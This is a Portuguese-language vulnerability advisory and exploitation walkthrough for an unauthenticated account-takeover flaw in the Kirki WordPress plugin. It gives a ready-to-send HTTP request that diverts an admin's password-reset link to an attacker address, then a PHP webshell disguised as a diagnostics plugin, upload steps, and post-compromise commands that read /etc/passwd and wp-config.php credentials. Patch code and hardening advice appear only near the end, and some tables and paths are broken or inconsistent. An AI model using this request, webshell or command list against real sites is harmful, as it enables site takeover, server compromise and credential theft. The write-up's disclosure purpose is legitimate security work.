
CVE-2026-8206: Kirki Customizer Framework - Tomada de Conta Não Autenticada (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRÍTICO
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
A CVE-2026-8206 é uma vulnerabilidade de Tomada de Conta Não Autenticada no Kirki Customizer Framework — um plugin popular de construtor de páginas WordPress com mais de 90.000 instalações ativas. A vulnerabilidade permite que um atacante assuma qualquer conta WordPress (incluindo a de administrador) simplesmente enviando uma única requisição HTTP.
O bug reside no endpoint da API REST kirki-forgot-password do módulo ComponentLibrary. Esse endpoint permite solicitar a redefinição de senha de qualquer usuário e envia o link de redefinição para um endereço de email especificado pelo atacante, em vez do email registrado do usuário.
| Informação | Detalhes |
|---|---|
| Plugin | Kirki Customizer Framework (Construtor de Páginas WordPress) |
| Versões Afetadas | 6.0.0 – 6.0.6 |
| Corrigida | 6.0.7 (ou 6.0.12+) |
| Tipo de Vulnerabilidade | Tomada de Conta Não Autenticada via Sequestro de Email de Redefinição de Senha |
| Endpoint | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (ou /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRÍTICO |
Pré-requisitos de Exploração:
→ Todo site WordPress com Kirki 6.0.0–6.0.6 instalado é vulnerável por padrão.
O Kirki registra endpoints da API REST para o recurso Component Library, incluindo login, register, forgot-password e change-password. Todos eles permitem acesso de convidado (guest_permissions_check retorna true).
O nonce do WordPress é um token de proteção CSRF. O Kirki exige um nonce por meio do cabeçalho X-WP-Element-Nonce ou verifica um parâmetro de nonce na requisição. No entanto, o nonce pode ser gerado/extraído publicamente do lado do cliente.
O WordPress usa get_password_reset_key() para gerar um token de redefinição de senha. Esse token é incluído pelo Kirki no template do email antes do envio.
Arquivo: ComponentLibrary/controller/CompLibFormHandler.php
Na versão vulnerável (6.0.0–6.0.6), a função handle_forgot_password() não verifica se o email fornecido corresponde ao email registrado do usuário. Um atacante pode especificar o nome de usuário da vítima e seu próprio email — o link de redefinição será enviado para o email do atacante.
Código-fonte vulnerável:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
O assunto e o corpo do email são recebidos do cliente por meio dos parâmetros emailSubject e emailBody sem qualquer assinatura HMAC para verificar a integridade. O atacante pode modificar arbitrariamente o conteúdo do email que está sendo enviado.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Fator | Explicação |
|---|---|
Explorar a CVE-2026-8206 começa com acesso zero — sem conta, sem senha, sem sessão — até a assunção total do administrador usando apenas requisições HTTP.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Baixe o plugin em wordpress.org e abra diretamente o arquivo CompLibFormHandler.php:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ A leitura do código revela: emailBody deve ser um array JSON, cada item tem type e value. Se type = chip e value = reset_link, o Kirki insere automaticamente o link de redefinição no email.
Execute grep diretamente dentro do diretório do plugin:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
O código frontend compilado revelará a estrutura JSON exata necessária.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
O atacante envia uma requisição POST para o endpoint forgot-password com o nome de usuário da vítima (admin) e um endereço de email controlado pelo atacante ([email protected]). O servidor gera uma chave de redefinição para a vítima, mas envia o link de redefinição para [email protected].
Enviando a requisição:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Resposta (sucesso):

Email recebido na caixa de entrada do atacante (MailHog em http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

O atacante usa o token key obtido do email para alterar a senha da conta admin por meio do endpoint kirki-change-password ou do formulário padrão do WordPress, depois faz login e obtém controle administrativo total sobre o site.

Senha alterada e acesso realizado usando a conta admin.

Acesso à conta admin bem-sucedido.
Após obter acesso ao Painel Administrativo, o atacante eleva a escalada de Tomada de Conta para Execução Remota de Código (RCE) por meio do recurso padrão de Envio de Plugin do WordPress.
O atacante cria um webshell PHP disfarçado de plugin legítimo do WordPress:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
Este arquivo é compactado em system-health.zip para envio pela interface administrativa.
O atacante navega até Plugins → Adicionar Novo Plugin → Enviar Plugin, seleciona o arquivo system-health.zip e clica em Instalar Agora → Ativar Plugin.

Após o envio, o WordPress extrai automaticamente o arquivo .zip para o diretório /wp-content/plugins/ no servidor, deixando o webshell pronto para operar.
O atacante acessa o webshell diretamente pelo endpoint /wp-content/plugins/webshell-plugin/shell.php


RCE bem-sucedido.
Neste ponto, o atacante tem capacidade total de execução de comandos no servidor com privilégios de www-data. Ações subsequentes podem incluir:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| Versão Atual | Atualizar Para |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 ou mais recente |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
Mesmo que a conta de administrador seja comprometida, os danos podem ser mitigados com as seguintes medidas:
| Nenhuma autenticação necessária |
guest_permissions_check() retorna true — qualquer pessoa pode chamar o endpoint |
| Qualquer conta pode ser assumida | Apenas o nome de usuário é necessário (padrão: 'admin') — nenhum email/senha é necessário |
| Impacto: Assunção do admin | Assumir admin → enviar webshell → RCE → controle total do servidor |
| Ampla distribuição | O Kirki é um plugin amplamente integrado em muitos temas WordPress |
| Comando | Objetivo |
|---|
id | Confirmar os privilégios do usuário em execução |
whoami | Ver o nome de usuário atual |
cat /etc/passwd | Ler a lista de usuários do sistema |
uname -a | Ver informações do kernel/SO |
cat wp-config.php | Ler as credenciais do banco de dados |
ls -la / | Navegar por todo o sistema de arquivos |
| # | Fase | Método | Caminho |
|---|
| 1 | Sequestrar Email de Redefinição | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | Redefinir Senha | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | Login Admin | POST | /wp-login.php |
| 4 | Enviar Webshell | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| Medida | Configuração |
|---|
| Bloquear instalação de plugins/temas pelo Painel | Adicione define('DISALLOW_FILE_MODS', true); ao wp-config.php |
| Bloquear edição de código pelo Painel | Adicione define('DISALLOW_FILE_EDIT', true); ao wp-config.php |
| Restringir permissões do diretório de upload | chmod 755 para diretórios, chmod 644 para arquivos |
| WAF (Web Application Firewall) | Implante ModSecurity ou Cloudflare WAF para bloquear requisições anormais à API REST |
| Monitoramento | Monitore alterações de arquivos em /wp-content/plugins/ usando ferramentas como OSSEC ou Wordfence |